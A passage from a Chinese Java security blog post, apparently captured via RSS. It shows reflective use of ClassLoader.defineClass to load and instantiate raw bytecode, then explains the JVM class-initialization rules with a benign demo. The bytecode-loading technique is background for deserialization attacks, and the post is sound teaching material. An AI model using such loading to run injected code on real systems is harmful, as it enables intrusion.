class="code-snippet__number">5</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">18</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">14</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">19</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">22</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">20</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">22</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">2</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">23</span></span></p><p><span class="code-snippet_outer">            };</span></p><p><span class="code-snippet_outer">            Class app = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), <span class="code-snippet__string">&#34;org.example.App&#34;</span>, code, <span class="code-snippet__number">0</span>, code.length);</span></p><p><span class="code-snippet_outer">            app.newInstance();</span></p><p><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></p><p><span class="code-snippet_outer">            e.printStackTrace();</span></p><p><span class="code-snippet_outer">        }</span></p><p><span class="code-snippet_outer">    }</span></p><p><span class="code-snippet_outer">}</span></p></pre></p><p style="text-indent: 2em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="text-indent: 2em;">反射相关知识：<a target="_blank" href="http://mp.weixin.qq.com/s?__biz=Mzg5ODE3NTU1OQ==&amp;mid=2247483858&amp;idx=1&amp;sn=aa4fe05a01fc5ee9bbee8a2e53d3c64e&amp;chksm=c067c6faf7104fecfddcbc1ba6ecd4370153f66c271046b6a49a1d2086b0d18f35a157cdbb3d&amp;scene=21#wechat_redirect" data-itemshowtype="0" tab="innerlink" data-linktype="2">Java 反序列化 - commons collection 之困（一）</a></span><span style="text-indent: 2em;">。</span></p></div><div style="box-sizing: border-box;" powered-by="xiumi.us"><div style="display: flex;flex-flow: row nowrap;margin: 10px 0%;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;line-height: 0;margin: 0px;box-sizing: border-box;"><div style="transform: rotateZ(330deg);-webkit-transform: rotateZ(330deg);-moz-transform: rotateZ(330deg);-o-transform: rotateZ(330deg);box-sizing: border-box;" powered-by="xiumi.us"><div style="text-align: center;margin: 10px 0% -30px;transform: translate3d(6px, 0px, 0px);-webkit-transform: translate3d(6px, 0px, 0px);-moz-transform: translate3d(6px, 0px, 0px);-o-transform: translate3d(6px, 0px, 0px);box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 60px;height: auto;box-sizing: border-box;"><img data-ratio="0.4203704" data-w="1080" data-type="png" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=a7cb2716&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fu6DsFt2nYywiamb53ghsibQ8iamZ6GHJ0W5s7egvGhHzLtgeOKT3KLLQlyWMfzYzrciaUYVTia4QrWewZO87LlNRQ3A%2F640%3Fwx_fmt%3Dpng"/></p></div></div><div style="text-align: center;box-sizing: border-box;" powered-by="xiumi.us"><div style="display: inline-block;width: 40px;height: 40px;vertical-align: top;overflow: hidden;background-color: rgb(243, 243, 241);border-width: 0px;border-radius: 110px;border-style: none;border-color: rgb(62, 62, 62);box-sizing: border-box;"><p><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;box-sizing: border-box;"><div style="box-sizing: border-box;" powered-by="xiumi.us"><div style="display: flex;flex-flow: row nowrap;transform: translate3d(7px, 0px, 0px);-webkit-transform: translate3d(7px, 0px, 0px);-moz-transform: translate3d(7px, 0px, 0px);-o-transform: translate3d(7px, 0px, 0px);box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-end;box-sizing: border-box;"><div style="font-size: 14px;color: rgb(127, 127, 127);font-family: Optima-Regular, PingFangTC-light;letter-spacing: 1px;padding: 0px;line-height: 1;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">类加载的生命周期 - 初始化</p></div></div><div style="display: inline-block;vertical-align: bottom;width: auto;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-end;line-height: 0;margin: 0px 34px 0px 7px;box-sizing: border-box;"><div style="text-align: center;box-sizing: border-box;" powered-by="xiumi.us"><div style="display: inline-block;width: 9px;height: 9px;vertical-align: top;overflow: hidden;border-width: 0px;border-radius: 100px;border-style: none;border-color: rgb(62, 62, 62);background-color: rgb(232, 232, 231);box-sizing: border-box;"><p><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div></div></div><div style="transform: perspective(0px);-webkit-transform: perspective(0px);-moz-transform: perspective(0px);-o-transform: perspective(0px);transform-style: flat;box-sizing: border-box;" powered-by="xiumi.us"><div style="margin: 7px 0% 8px;transform: translate3d(-25px, 0px, 0px) rotateY(180deg);-webkit-transform: translate3d(-25px, 0px, 0px) rotateY(180deg);-moz-transform: translate3d(-25px, 0px, 0px) rotateY(180deg);-o-transform: translate3d(-25px, 0px, 0px) rotateY(180deg);box-sizing: border-box;"><div style="background-color: rgb(184, 184, 184);height: 1px;box-sizing: border-box;"><p><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div></div></div></div><div style="font-size: 14px;box-sizing: border-box;" powered-by="xiumi.us"><p style="text-indent: 2em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">还想补充一个小点，类加载与初始化。</p></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;" powered-by="xiumi.us"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;"><img data-ratio="0.206499" data-w="954" data-type="png" style="vertical-align: middle;max-width: 100%;box-sizing: border-box;" src="https://wechat2rss.xlab.app/img-proxy/?k=56750658&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWgqq2ZUsWv1gHjjX6gVgZ9kcQM4YnqCIbTkcUCia0frC2WD0umUU7I6xceqlfpPN3dJricsXRkONh6g%2F640%3Fwx_fmt%3Dpng"/></p></div><div style="font-size: 14px;box-sizing: border-box;" powered-by="xiumi.us"><p style="text-indent: 2em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">我们前面提到的 ClassLoader 加载字节码其实只是将类加载到内存，在上图 java 类加载生命周期中完成加载和连接之后，是否需要初始化则需要根据具体场景进行判断。</p><p style="text-indent: 2em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">初始化是做什么呢？主要为类的静态变量赋予正确的初始值，也会执行静态代码块。在初始化之前连接阶段中准备 Preparation 阶段主要为类的静态变量分配内存，并将初始化为默认值。</p><p style="text-indent: 2em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"> JVM 规范中有且仅有以下 5 种情况会完成类的初始化（也在加载、连接之后）。</p></div><p style="font-size: 14px;box-sizing: border-box;" powered-by="xiumi.us"><ul class="list-paddingleft-2" style="list-style-type: square;box-sizing: border-box;"><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;">遇到 new 、getstatic 、putstatic 或 invokestatic 这 4 条字节码指令时，如果类没有进行过初始化，则需要先触发其初始化；</p></li><ul class="list-paddingleft-2" style="box-sizing: border-box;"><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;">使用关键字 new 实例化对象时</p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;">读取或设置一个类的静态字段（被 final 修饰、已在编译期把结果放入常量池的静态字段除外）时</p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;">调用一个类的静态方法的时候</p></li></ul><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;">使用 java.lang.reflect 包的方法对类进行反射调用的时候，如果类没有进行过初始化，则需要先触发其初始化</p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;">当初始化一个类的时候，如果发现其父类还没有进行过初始化，则需要先触发其父类的初始化</p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;">当虚拟机启动的时候，用户需要指定一个要执行的主类（包含 main() 方法的那个类），虚拟机会先初始化这个类</p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;">当使用 JDK1.7 的动态语言支持时，如果一个 java.lang.invoke.MethodHandle 实例最后的解析结果 REF_getStatic、REF_putStatic、REF_invokeStatic 的方法句柄，并且这个方法句柄对应的类没有进行过初始化，则需要先触发其初始化。</p></li></ul></p><div style="font-size: 14px;letter-spacing: 0px;box-sizing: border-box;" powered-by="xiumi.us"><p style="text-indent: 2em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">以下几种情况不会触发类进行初始化：</p></div><p style="font-size: 14px;box-sizing: border-box;" powered-by="xiumi.us"><ul class="list-paddingleft-2" style="list-style-type: square;box-sizing: border-box;"><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;">引用父类的静态字段，只会引起父类的初始化，而不会引起子类的初始化；</p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;">定义类数组，不会引起类的初始化；</p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;">引用类的常量（被 static final 修饰的），不会引起类的初始化，已在准备阶段就将其存入调用类的常量池。</p></li></ul></p><div style="font-size: 14px;box-sizing: border-box;" powered-by="xiumi.us"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="java"><p><span class="code-snippet_outer"><span class="code-snippet__keyword">package</span> org.example;</span></p><p></p><p><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">InitClass</span></span>{</span></p><p><span class="code-snippet_outer">    <span class="code-snippet__keyword">static</span> {</span></p><p><span class="code-snippet_outer">        System.out.println(<span class="code-snippet__string">&#34;初始化InitClass&#34;</span>);</span></p><p><span class="code-snippet_outer">    }</span></p><p><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> String a = <span class="code-snippet__keyword">null</span>;</span></p><p><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">static</span> String b = <span class="code-snippet__string">&#34;b&#34;</span>;</span></p><p><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">method</span><span class="code-snippet__params">()</span></span>{}</span></p><p><span class="code-snippet_outer">}</span></p><p></p><p><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">SubInitClass</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">InitClass</span></span>{</span></p><p><span class="code-snippet_outer">    <span class="code-snippet__keyword">static</span> {</span></p><p><span class="code-snippet_outer">        System.out.println(<span class="code-snippet__string">&#34;初始化SubInitClass&#34;</span>);</span></p><p><span class="code-snippet_outer">    }</span></p><p><span class="code-snippet_outer">}</span></p><p></p><p><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Init</span> </span>{</span></p><p><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">(String[] args)</span> <span class="code-snippet__keyword">throws</span> Exception</span>{</span></p><p><span class="code-snippet_outer">        String a = SubInitClass.a;      <span class="code-snippet__comment">// 引用父类的静态字段，只会引起父类初始化，而不会引起子类的初始化</span></span></p><p><span class="code-snippet_outer">        String b = InitClass.b;         <span class="code-snippet__comment">// 使用类的常量不会引起类的初始化</span></span></p><p><span class="code-snippet_outer">        SubInitClass[] sc = <span class="code-snippet__keyword">new</span> SubInitClass[<span class="code-snippet__number">10</span>];<span class="code-snippet__comment">// 定义类数组不会引起类的初始化</span></span></p><p><span class="code-snippet_outer">    }</span></p><p><span class="code-snippet_outer">}</span></p></pre></p><p style="text-indent: 2em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">为什么想分享初始化呢，因为这个也是我一直没怎么弄清楚的地方吧。</p></div><div style="box-sizing: border-box;" powered-by="xiumi.us"><div style="display: flex;flex-flow: row nowrap;margin: 10px 0%;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;line-height: 0;margin: 0px;box-sizing: border-box;"><div style="transform: rotateZ(330deg);-webkit-transform: rotateZ(330deg);-moz-transform: rotateZ(330deg);-o-transform: rotateZ(330deg);box-sizing: border-box;" powered-by="xiumi.us"><div style="text-align: center;margin: 10px 0% -30px;transform: translate3d(6px, 0px, 0px);-webkit-transform: translate3d(6px, 0px, 0px);-moz-transform: translate3d(6px, 0px, 0px);-o-transform: translate3d(6px, 0px, 0px);box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 60px;height: auto;box-sizing: border-box;"><img data-ratio="0.4203704" data-w="1080" data-type="png" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=a7cb2716&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fu6DsFt2nYywiamb53ghsibQ8iamZ6GHJ0W5s7egvGhHzLtgeOKT3KLLQlyWMfzYzrciaUYVTia4QrWewZO87LlNRQ3A%2F640%3Fwx_fmt%3Dpng"/></p></div></div><div style="text-align: center;box-sizing: border-box;" powered-by="xiumi.us"><div style="display: inline-block;width: 40px;height: 40px;vertical-align: top;overflow: hidden;background-color: rgb(243, 243, 241);border-width: 0px;border-radius: 110px;border-style: none;border-color: rgb(62, 62, 62);box-sizing: border-box;"><p><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;box-sizing: border-box;"><div style="box-sizing: border-box;" powered-by="xiumi.us"><div style="display: flex;flex-flow: row nowrap;transform: translate3d(7px, 0px, 0px);-webkit-transform: translate3d(7px, 0px, 0px);-moz-transform: translate3d(7px, 0px, 0px);-o-transform: translate3d(7px, 0px, 0px);box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-end;box-sizing: border-box;"><div style="font-size: 13px;color: rgb(127, 127, 127);font-family: Optima-Regular, PingFangTC-light;letter-spacing: 1px;padding: 0px;line-height: 1;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">参考链接</p></div></div><div style="display: inline-block;vertical-align: bottom;width: auto;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-end;line-height: 0;margin: 0px 34px 0px 7px;box-sizing: border-box;"><div style="text-align: center;box-sizing: border-box;" powered-by="xiumi.us"><div style="display: inline-block;width: 9px;height: 9px;vertical-align: top;overflow: hidden;border-width: 0px;border-radius: 100px;border-style: none;border-color: rgb(62, 62, 62);background-color: rgb(232, 232, 231);box-sizing: border-box;"><p><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div></div></div><div style="transform: perspective(0px);-webkit-transform: perspective(0px);-moz-transform: perspective(0px);-o-transform: perspective(0px);transform-style: flat;box-sizing: border-box;" powered-by="xiumi.us"><div style="margin: 7px 0% 8px;transform: translate3d(-25px, 0px, 0px) rotateY(180deg);-webkit-transform: translate3d(-25px, 0px, 0px) rotateY(180deg);-moz-transform: translate3d(-25px, 0px, 0px) rotateY(180deg);-o-transform: translate3d(-25px, 0px, 0px) rotateY(180deg);box-sizing: border-box;"><div style="background-color: rgb(184, 184, 184);height: 1px;box-sizing: border-box;"><p><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div></div></div></div><div style="font-size: 12px;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 13px;">[1] 攻击 Java Web 应用 - ClassLoader(类加载机制)</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 13px;">[2] Java 安全漫谈 - java 中动态加载字节码的那些方法</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 13px;">[3] <a href="https://www.cnblogs.com/yangyongjie/p/11002844.html" target="_blank">https://www.cnblogs.com/yangyongjie/p/11002844.html</a></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 13px;">[4] <a href="https://blog.csdn.net/zhengzhb/article/details/7517213" target="_blank">https://blog.csdn.net/zhengzhb/article/details/7517213</a></span></p></div></div>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a7cb2716&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fu6DsFt2nYywiamb53ghsibQ8iamZ6GHJ0W5s7egvGhHzLtgeOKT3KLLQlyWMfzYzrciaUYVTia4QrWewZO87LlNRQ3A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a7cb2716&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fu6DsFt2nYywiamb53ghsibQ8iamZ6GHJ0W5s7egvGhHzLtgeOKT3KLLQlyWMfzYzrciaUYVTia4QrWewZO87LlNRQ3A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=cbe26bc8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6AVpdn5eJwaYr11FgKicIot81oatCYNhHBnNSZB90SIsJJcTcqPiaQJjzLULibr5WTj3K8WZCymDv79fohjrDf54Q%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9fd1fa77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWgqq2ZUsWv1gHjjX6gVgZ9kXkwS0EOdChnfqyMibqaWmLTG1yic1k4y5JhsJBIW7ibT4hZRd82D8cgkw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=cbe26bc8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6AVpdn5eJwaYr11FgKicIot81oatCYNhHBnNSZB90SIsJJcTcqPiaQJjzLULibr5WTj3K8WZCymDv79fohjrDf54Q%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=cbe26bc8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6AVpdn5eJwaYr11FgKicIot81oatCYNhHBnNSZB90SIsJJcTcqPiaQJjzLULibr5WTj3K8WZCymDv79fohjrDf54Q%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a7cb2716&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fu6DsFt2nYywiamb53ghsibQ8iamZ6GHJ0W5s7egvGhHzLtgeOKT3KLLQlyWMfzYzrciaUYVTia4QrWewZO87LlNRQ3A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=56750658&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWgqq2ZUsWv1gHjjX6gVgZ9kcQM4YnqCIbTkcUCia0frC2WD0umUU7I6xceqlfpPN3dJricsXRkONh6g%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a7cb2716&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fu6DsFt2nYywiamb53ghsibQ8iamZ6GHJ0W5s7egvGhHzLtgeOKT3KLLQlyWMfzYzrciaUYVTia4QrWewZO87LlNRQ3A%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247484176">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=93f4ed62&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5ODE3NTU1OQ%3D%3D%26mid%3D2247484176%26idx%3D1%26sn%3D616fa52da0f520aaaa77735ee112031c">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 02 Apr 2021 21:00:00 +0800</pubDate>
    </item>
  </channel>
</rss>